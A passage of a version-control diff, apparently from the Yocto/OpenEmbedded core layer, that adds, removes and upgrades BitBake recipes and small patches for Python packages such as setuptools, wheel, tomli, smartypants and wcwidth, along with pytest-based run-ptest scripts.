+++ b/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch
@@ -0,0 +1,35 @@
+From 1ff575308248b183639c8cb14afee7c8572bd2b8 Mon Sep 17 00:00:00 2001
+From: Tim Orling <timothy.t.orling@intel.com>
+Date: Wed, 20 Oct 2021 17:38:10 +0000
+Subject: [PATCH] _distutils/sysconfig: append
+ STAGING_LIBDIR/python-sysconfigdata to sys.path
+
+When python modules set SETUPTOOLS_USE_DISTULS='local', this uses the
+vendored _distutils in setuptools rather than distutils in the Standard
+Library. This is needed so that target configuration can be used with
+python3-setuptools-native.
+
+Based on python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
+from Alex Kanavin <alex.kanavin@gmail.com>
+
+Upstream-Status: Inappropriate [oe-specific]
+
+Signed-off-by: Tim Orling <timothy.t.orling@intel.com>
+
+---
+ setuptools/_distutils/sysconfig.py | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/setuptools/_distutils/sysconfig.py b/setuptools/_distutils/sysconfig.py
+index d36d94f..616eb91 100644
+--- a/setuptools/_distutils/sysconfig.py
++++ b/setuptools/_distutils/sysconfig.py
+@@ -484,6 +484,8 @@ def _init_posix():
+ multiarch=getattr(sys.implementation, '_multiarch', ''),
+ ),
+ )
++ if 'STAGING_LIBDIR' in os.environ:
++ sys.path.append(os.environ['STAGING_LIBDIR']+'/python-sysconfigdata')
+ try:
+ _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
+ except ImportError:
diff --git a/meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch b/meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch
new file mode 100644
index 0000000000..6dcf52771b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch
@@ -0,0 +1,25 @@
+From c39d0896930e25c224cc897660fc8511ccae30c8 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Thu, 23 Apr 2020 10:01:12 +0000
+Subject: [PATCH] change shebang to python3
+
+Upstream-Status: Pending
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ pkg_resources/_vendor/appdirs.py | 2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/pkg_resources/_vendor/appdirs.py b/pkg_resources/_vendor/appdirs.py
+index ae67001..933e398 100644
+--- a/pkg_resources/_vendor/appdirs.py
++++ b/pkg_resources/_vendor/appdirs.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+ # Copyright (c) 2005-2010 ActiveState Software Inc.
+ # Copyright (c) 2013 Eddy Petrișor
+--
+2.24.1
+
diff --git a/meta/recipes-devtools/python/python3-setuptools_41.4.0.bb b/meta/recipes-devtools/python/python3-setuptools_41.4.0.bb
deleted file mode 100644
index 0dc1ed8622..0000000000
--- a/meta/recipes-devtools/python/python3-setuptools_41.4.0.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require python-setuptools.inc
-inherit setuptools3
-
-do_install_append() {
- mv ${D}${bindir}/easy_install ${D}${bindir}/easy3_install
-}
diff --git a/meta/recipes-devtools/python/python3-setuptools_59.5.0.bb b/meta/recipes-devtools/python/python3-setuptools_59.5.0.bb
new file mode 100644
index 0000000000..35bec19e33
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools_59.5.0.bb
@@ -0,0 +1,57 @@
+SUMMARY = "Download, build, install, upgrade, and uninstall Python packages"
+HOMEPAGE = "https://pypi.org/project/setuptools"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;beginline=1;endline=19;md5=7a7126e068206290f3fe9f8d6c713ea6"
+
+inherit pypi setuptools_build_meta
+
+SRC_URI:append:class-native = " file://0001-conditionally-do-not-fetch-code-by-easy_install.patch"
+
+SRC_URI += "\
+ file://0001-change-shebang-to-python3.patch \
+ file://0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch \
+"
+
+SRC_URI[sha256sum] = "d144f85102f999444d06f9c0e8c737fd0194f10f2f7e5fdb77573f6e2fa4fad0"
+
+DEPENDS += "${PYTHON_PN}"
+
+RDEPENDS:${PN} = "\
+ ${PYTHON_PN}-2to3 \
+ ${PYTHON_PN}-compile \
+ ${PYTHON_PN}-compression \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-html \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-netserver \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-pickle \
+ ${PYTHON_PN}-pkg-resources \
+ ${PYTHON_PN}-pkgutil \
+ ${PYTHON_PN}-plistlib \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-stringold \
+ ${PYTHON_PN}-threading \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-xml \
+"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# The pkg-resources module can be used by itself, without the package downloader
+# and easy_install. Ship it in a separate package so that it can be used by
+# minimal distributions.
+PACKAGES =+ "${PYTHON_PN}-pkg-resources "
+FILES:${PYTHON_PN}-pkg-resources = "${PYTHON_SITEPACKAGES_DIR}/pkg_resources/*"
+RDEPENDS:${PYTHON_PN}-pkg-resources = "\
+ ${PYTHON_PN}-compression \
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-plistlib \
+ ${PYTHON_PN}-pprint \
+"
+
+# This used to use the bootstrap install which didn't compile. Until we bump the
+# tmpdir version we can't compile the native otherwise the sysroot unpack fails
+INSTALL_WHEEL_COMPILE_BYTECODE:class-native = "--no-compile-bytecode"
diff --git a/meta/recipes-devtools/python/python3-six_1.12.0.bb b/meta/recipes-devtools/python/python3-six_1.12.0.bb
deleted file mode 100644
index 8795313bec..0000000000
--- a/meta/recipes-devtools/python/python3-six_1.12.0.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-inherit setuptools3
-require python-six.inc
diff --git a/meta/recipes-devtools/python/python3-six_1.16.0.bb b/meta/recipes-devtools/python/python3-six_1.16.0.bb
new file mode 100644
index 0000000000..1ba48d4f47
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-six_1.16.0.bb
@@ -0,0 +1,4 @@
+inherit setuptools3
+require python-six.inc
+
+SRC_URI[sha256sum] = "1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"
diff --git a/meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch b/meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch
new file mode 100644
index 0000000000..aab16eaab4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch
@@ -0,0 +1,47 @@
+From e299bcb05405ff49450307bf3002c1fac14a866c Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Sun, 20 Feb 2022 18:55:50 -0800
+Subject: [PATCH] Change hash bang to python3
+
+In setup.py, smartypants and smartypants.py set hash bang to python3.
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+
+---
+ setup.py | 2 +-
+ smartypants | 2 +-
+ smartypants.py | 2 +-
+ 3 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index ff1ea76..96a8b73 100755
+--- a/setup.py
++++ b/setup.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # Copyright (C) 2013, 2014 by Yu-Jie Lin
+ # For detail license information, See COPYING
+
+diff --git a/smartypants b/smartypants
+index 189adf5..0cca568 100755
+--- a/smartypants
++++ b/smartypants
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # Copyright (c) 2013, 2014 Yu-Jie Lin
+ # Licensed under the BSD License, for detailed license information, see COPYING
+
+diff --git a/smartypants.py b/smartypants.py
+index a70575b..e53bd87 100755
+--- a/smartypants.py
++++ b/smartypants.py
+@@ -1,4 +1,4 @@
+-#!/usr/bin/python
++#!/usr/bin/env python3
+ # -*- coding: utf-8 -*-
+ # Copyright (c) 2013, 2014, 2016 Yu-Jie Lin
+ # Copyright (c) 2004, 2005, 2007, 2013 Chad Miller
diff --git a/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb b/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb
new file mode 100644
index 0000000000..05c94c390f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Translator of plain ASCII punctuation characters into 'smart' typographic punctuation HTML entities"
+HOMEPAGE = "https://pythonhosted.org/smartypants/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=977036977591ac666c728921ecc54c4f"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "smartypants"
+SRC_URI += "file://0001-Change-hash-bang-to-python3.patch"
+SRC_URI[sha256sum] = "7812353a32022699a1aa8cd5626e01c94a946dcaeedaee2d0b382bae4c4cbf36"
+
+BBCLASSEXTEND = "native"
+
+UPSTREAM_CHECK_REGEX = "/${PYPI_PACKAGE}/(?P<pver>(?!2\.0\.1)(\d+[\.\-_]*)+)/"
diff --git a/meta/recipes-devtools/python/python3-smmap_2.0.5.bb b/meta/recipes-devtools/python/python3-smmap_2.0.5.bb
deleted file mode 100644
index e87b8df8c5..0000000000
--- a/meta/recipes-devtools/python/python3-smmap_2.0.5.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-inherit setuptools3
-require python-smmap.inc
diff --git a/meta/recipes-devtools/python/python3-smmap_5.0.0.bb b/meta/recipes-devtools/python/python3-smmap_5.0.0.bb
new file mode 100644
index 0000000000..ea131ef793
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smmap_5.0.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Python implementation of a sliding window memory map manager"
+DESCRIPTION = "A pure Python implementation of a sliding memory map to \
+help unifying memory mapped access on 32 and 64 bit systems and to help \
+managing resources more efficiently."
+HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e910b35b0ef4e1f665b9a75d6afb7709"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "smmap"
+
+SRC_URI[sha256sum] = "c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-codecs \
+ ${PYTHON_PN}-mmap \
+"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb b/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb
new file mode 100644
index 0000000000..0755d3e177
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb
@@ -0,0 +1,9 @@
+SUMMARY = "Sorted Containers is an Apache2 licensed sorted collections library, written in pure-Python, and fast as C-extensions."
+HOMEPAGE = "http://www.grantjenks.com/docs/sortedcontainers/"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7c7c6a1a12ec816da16c1839137d53ae"
+
+inherit pypi setuptools3
+SRC_URI[sha256sum] = "25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-strict-rfc3339/0001-setup.py-use-vendored-_distutils.patch b/meta/recipes-devtools/python/python3-strict-rfc3339/0001-setup.py-use-vendored-_distutils.patch
new file mode 100644
index 0000000000..ba1c3d3363
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-strict-rfc3339/0001-setup.py-use-vendored-_distutils.patch
@@ -0,0 +1,27 @@
+From 857719e82daea0d85b734cac34cf569050724068 Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Sun, 20 Feb 2022 20:26:51 -0800
+Subject: [PATCH] setup.py: use vendored _distutils
+
+Deprecation warning of distutils is interferring with bdist_wheel build.
+
+For now, use the vendored setuptools._distutils.core.
+
+Upstream-Status: Pending [upstream appears unmaintained]
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ setup.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/setup.py b/setup.py
+index 1bf87cf..a49fb8e 100644
+--- a/setup.py
++++ b/setup.py
+@@ -1,5 +1,5 @@
+ import os.path
+-from distutils.core import setup
++from setuptools._distutils.core import setup
+
+ readme_file = os.path.join(os.path.dirname(__file__), 'README.md')
+ readme = open(readme_file).read()
diff --git a/meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb b/meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb
new file mode 100644
index 0000000000..c377c3bfb0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Strict, simple, lightweight RFC3339 function.s"
+HOMEPAGE = "https://pypi.org/project/strict-rfc3339/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8f0e2cd40e05189ec81232da84bd6e1a"
+
+SRC_URI += "file://0001-setup.py-use-vendored-_distutils.patch"
+SRC_URI[sha256sum] = "5cad17bedfc3af57b399db0fed32771f18fc54bbd917e85546088607ac5e1277"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-subunit_1.3.0.bb b/meta/recipes-devtools/python/python3-subunit_1.3.0.bb
deleted file mode 100644
index 55066e2d0f..0000000000
--- a/meta/recipes-devtools/python/python3-subunit_1.3.0.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit setuptools3
-require python-subunit.inc
-
-RDEPENDS_${PN} = " python3-testtools"
diff --git a/meta/recipes-devtools/python/python3-subunit_1.4.0.bb b/meta/recipes-devtools/python/python3-subunit_1.4.0.bb
new file mode 100644
index 0000000000..e4e3bf191d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-subunit_1.4.0.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Python implementation of subunit test streaming protocol"
+HOMEPAGE = "https://pypi.org/project/python-subunit/"
+SECTION = "devel/python"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://README.rst;beginline=1;endline=20;md5=909c08e291647fd985fbe5d9836d51b6"
+
+PYPI_PACKAGE = "python-subunit"
+
+SRC_URI[sha256sum] = "042039928120fbf392e8c983d60f3d8ae1b88f90a9f8fd7188ddd9c26cad1e48"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} = " python3-testtools"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/python/python3-testtools_2.3.0.bb b/meta/recipes-devtools/python/python3-testtools_2.5.0.bb
index 896ecee65c..896ecee65c 100644
--- a/meta/recipes-devtools/python/python3-testtools_2.3.0.bb
+++ b/meta/recipes-devtools/python/python3-testtools_2.5.0.bb
diff --git a/meta/recipes-devtools/python/python3-toml_0.10.2.bb b/meta/recipes-devtools/python/python3-toml_0.10.2.bb
new file mode 100644
index 0000000000..be29cac798
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-toml_0.10.2.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Python Library for Tom's Obvious, Minimal Language"
+HOMEPAGE = "https://github.com/uiri/toml"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=16c77b2b1050d2f03cb9c2ed0edaf4f0"
+
+SRC_URI[sha256sum] = "b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-misc \
+"
diff --git a/meta/recipes-devtools/python/python3-tomli_2.0.1.bb b/meta/recipes-devtools/python/python3-tomli_2.0.1.bb
new file mode 100644
index 0000000000..6118a6a9c3
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-tomli_2.0.1.bb
@@ -0,0 +1,13 @@
+SUMMARY = "A lil' TOML parser"
+DESCRIPTION = "Tomli is a Python library for parsing TOML. Tomli is fully \
+compatible with TOML v1.0.0."
+HOMEPAGE = "https://github.com/hukkin/tomli"
+BUGTRACKER = "https://github.com/hukkin/tomli/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=aaaaf0879d17df0110d1aa8c8c9f46f5"
+
+inherit pypi python_flit_core
+
+SRC_URI[sha256sum] = "de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-typing-extensions_3.10.0.0.bb b/meta/recipes-devtools/python/python3-typing-extensions_3.10.0.0.bb
new file mode 100644
index 0000000000..a5f491c770
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-typing-extensions_3.10.0.0.bb
@@ -0,0 +1,12 @@
+HOMEPAGE = "https://github.com/python/typing"
+LICENSE = "PSF-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=64fc2b30b67d0a8423c250e0386ed72f"
+
+# The name on PyPi is slightly different.
+PYPI_PACKAGE = "typing_extensions"
+
+SRC_URI[sha256sum] = "50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb b/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb
new file mode 100644
index 0000000000..83e9b5eadb
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Filters to enhance web typography, including support for Django & Jinja templates"
+HOMEPAGE = "https://github.com/mintchaos/typogrify"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=12bc792d6f5415dbf421f3fd183c6dd2"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "typogrify"
+SRC_URI[sha256sum] = "8be4668cda434163ce229d87ca273a11922cb1614cb359970b7dc96eed13cb38"
+
+BBCLASSEXTEND = "native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-smartypants"
+
diff --git a/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb b/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb
new file mode 100644
index 0000000000..149078c51b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Python vcversioner, automagically update the project's version"
+HOMEPAGE = "https://github.com/habnabit/vcversioner"
+
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://PKG-INFO;md5=827a7a91a8d20d3c666b665cd96db8e3"
+
+SRC_URI[md5sum] = "aab6ef5e0cf8614a1b1140ed5b7f107d"
+SRC_URI[sha256sum] = "dae60c17a479781f44a4010701833f1829140b1eeccd258762a74974aa06e19b"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-wcwidth/run-ptest b/meta/recipes-devtools/python/python3-wcwidth/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wcwidth/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb b/meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb
new file mode 100644
index 0000000000..a532d3c5cb
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Library for building powerful interactive command lines in Python"
+DESCRIPTION = "Measures the displayed width of unicode strings in a terminal"
+HOMEPAGE = "https://github.com/jquast/wcwidth"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b15979c39a2543892fca8cd86b4b52cb"
+
+SRC_URI[md5sum] = "a07a75f99d316e14838ac760c831ea37"
+SRC_URI[sha256sum] = "c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-webcolors/run-ptest b/meta/recipes-devtools/python/python3-webcolors/run-ptest
new file mode 100644
index 0000000000..3385d68939
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-webcolors/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-webcolors_1.11.1.bb b/meta/recipes-devtools/python/python3-webcolors_1.11.1.bb
new file mode 100644
index 0000000000..26dbe51767
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-webcolors_1.11.1.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Simple Python module for working with HTML/CSS color definitions."
+HOMEPAGE = "https://pypi.org/project/webcolors/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=25b90379a52351261c51272e7923d240"
+
+SRC_URI[md5sum] = "54d28a7c80b3e4d974ec2fee86768be9"
+SRC_URI[sha256sum] = "76f360636957d1c976db7466bc71dcb713bb95ac8911944dffc55c01cb516de6"
+
+inherit pypi setuptools3 ptest
+
+RDEPENDS:${PN}:class-target = "\
+ ${PYTHON_PN}-stringold \
+"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-wheel/0001-Backport-pyproject.toml-from-flit-backend-branch.patch b/meta/recipes-devtools/python/python3-wheel/0001-Backport-pyproject.toml-from-flit-backend-branch.patch
new file mode 100644
index 0000000000..023de0e6a8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wheel/0001-Backport-pyproject.toml-from-flit-backend-branch.patch
@@ -0,0 +1,100 @@
+From f00dd220346773bc088d403847ee7f06f2b4c30a Mon Sep 17 00:00:00 2001
+From: Tim Orling <tim.orling@konsulko.com>
+Date: Fri, 18 Feb 2022 11:09:16 -0800
+Subject: [PATCH] Backport pyproject.toml from flit-backend branch
+
+This allows us to bootstrap wheels and PEP-517 packaging.
+
+Upstream-Status: Backport from flit-backend branch
+https://raw.githubusercontent.com/pypa/wheel/4f6ba78fede38a8d9e35a14e38377a121033afb3/pyproject.toml
+
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ pyproject.toml | 78 ++++++++++++++++++++++++++++++++++++++++++++++++++
+ 1 file changed, 78 insertions(+)
+ create mode 100644 pyproject.toml
+
+diff --git a/pyproject.toml b/pyproject.toml
+new file mode 100644
+index 0000000..749b8de
+--- /dev/null
++++ b/pyproject.toml
+@@ -0,0 +1,78 @@
++[build-system]
++requires = ["flit_core >=3.2,<4"]
++build-backend = "flit_core.buildapi"
++
++[project]
++name = "wheel"
++description = "A built-package format for Python"
++readme = "README.rst"
++classifiers = [
++ "Development Status :: 5 - Production/Stable",
++ "Intended Audience :: Developers",
++ "Topic :: System :: Archiving :: Packaging",
++ "License :: OSI Approved :: MIT License",
++ "Programming Language :: Python",
++ "Programming Language :: Python :: 3 :: Only",
++ "Programming Language :: Python :: 3.7",
++ "Programming Language :: Python :: 3.8",
++ "Programming Language :: Python :: 3.9",
++ "Programming Language :: Python :: 3.10"
++]
++authors = [{name = "Daniel Holth", email = "dholth@fastmail.fm"}]
++maintainers = [{name = "Alex Grönholm", email = "alex.gronholm@nextday.fi"}]
++keywords = ["wheel", "packaging"]
++license = {file = "LICENSE.txt"}
++requires-python = ">=3.7"
++dependencies = [
++ "setuptools >= 45.2.0"
++]
++dynamic = ["version"]
++
++[project.urls]
++Documentation = "https://wheel.readthedocs.io/"
++Changelog = "https://wheel.readthedocs.io/en/stable/news.html"
++"Issue Tracker" = "https://github.com/pypa/wheel/issues"
++
++[project.scripts]
++wheel = "wheel.cli:main"
++
++[project.entry-points."distutils.commands"]
++bdist_wheel = "wheel.bdist_wheel:bdist_wheel"
++
++[project.optional-dependencies]
++test = [
++ "pytest >= 3.0.0"
++]
++
++[tool.flit.sdist]
++exclude = [
++ ".cirrus.yml",
++ ".github/*",
++ ".gitignore",
++ ".pre-commit-config.yaml",
++ ".readthedocs.yml"
++]
++
++[tool.black]
++target-version = ['py37']
++extend-exclude = '''
++^/src/wheel/vendored/
++'''
++
++[tool.isort]
++src_paths = ["src"]
++profile = "black"
++skip_gitignore = true
++
++[tool.flake8]
++max-line-length = 88
++
++[tool.pytest.ini_options]
++testpaths = "tests"
++
++[tool.coverage.run]
++source = ["wheel"]
++omit = ["*/vendored/*"]
++
++[tool.coverage.report]
++show_missing = true
diff --git a/meta/recipes-devtools/python/python3-wheel_0.37.1.bb b/meta/recipes-devtools/python/python3-wheel_0.37.1.bb
new file mode 100644
index 0000000000..2f7dd122ba
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wheel_0.37.1.bb
@@ -0,0 +1,17 @@
+SUMMARY = "The official binary distribution format for Python "
+HOMEPAGE = "https://github.com/pypa/wheel"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=10;endline=10;md5=8227180126797a0148f94f483f3e1489"
+
+SRC_URI[sha256sum] = "e9a504e793efbca1b8e0e9cb979a249cf4a0a7b5b8c9e8b65a5e39d49529c1c4"
+
+inherit python_flit_core pypi
+
+SRC_URI += " file://0001-Backport-pyproject.toml-from-flit-backend-branch.patch"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# This used to use the bootstrap install which didn't compile. Until we bump the
+# tmpdir version we can't compile the native otherwise the sysroot unpack fails
+INSTALL_WHEEL_COMPILE_BYTECODE:class-native = "--no-compile-bytecode"
diff --git a/meta/recipes-devtools/python/python3-zipp_3.7.0.bb b/meta/recipes-devtools/python/python3-zipp_3.7.0.bb
new file mode 100644
index 0000000000..d0f936faf7
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-zipp_3.7.0.bb
@@ -0,0 +1,18 @@
+DESCRIPTION = "Backport of pathlib-compatible object wrapper for zip files"
+HOMEPAGE = "https://github.com/jaraco/zipp"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7a7126e068206290f3fe9f8d6c713ea6"
+
+SRC_URI[sha256sum] = "9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
+
+inherit pypi setuptools_build_meta
+
+DEPENDS += "${PYTHON_PN}-toml-native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-compression \
+ ${PYTHON_PN}-math \
+ ${PYTHON_PN}-more-itertools"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch b/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
index 09f279ba1d..62ef6efc28 100644
--- a/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
+++ b/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
@@ -1,4 +1,4 @@
-From 23294c6ba6896115828293fdb7e67b47b38ba675 Mon Sep 17 00:00:00 2001
+From 80f872e4573f542d33f91514538755557d566f79 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 25 Jan 2019 19:04:13 +0100
Subject: [PATCH] Do not add /usr/lib/termcap to linker flags to avoid host
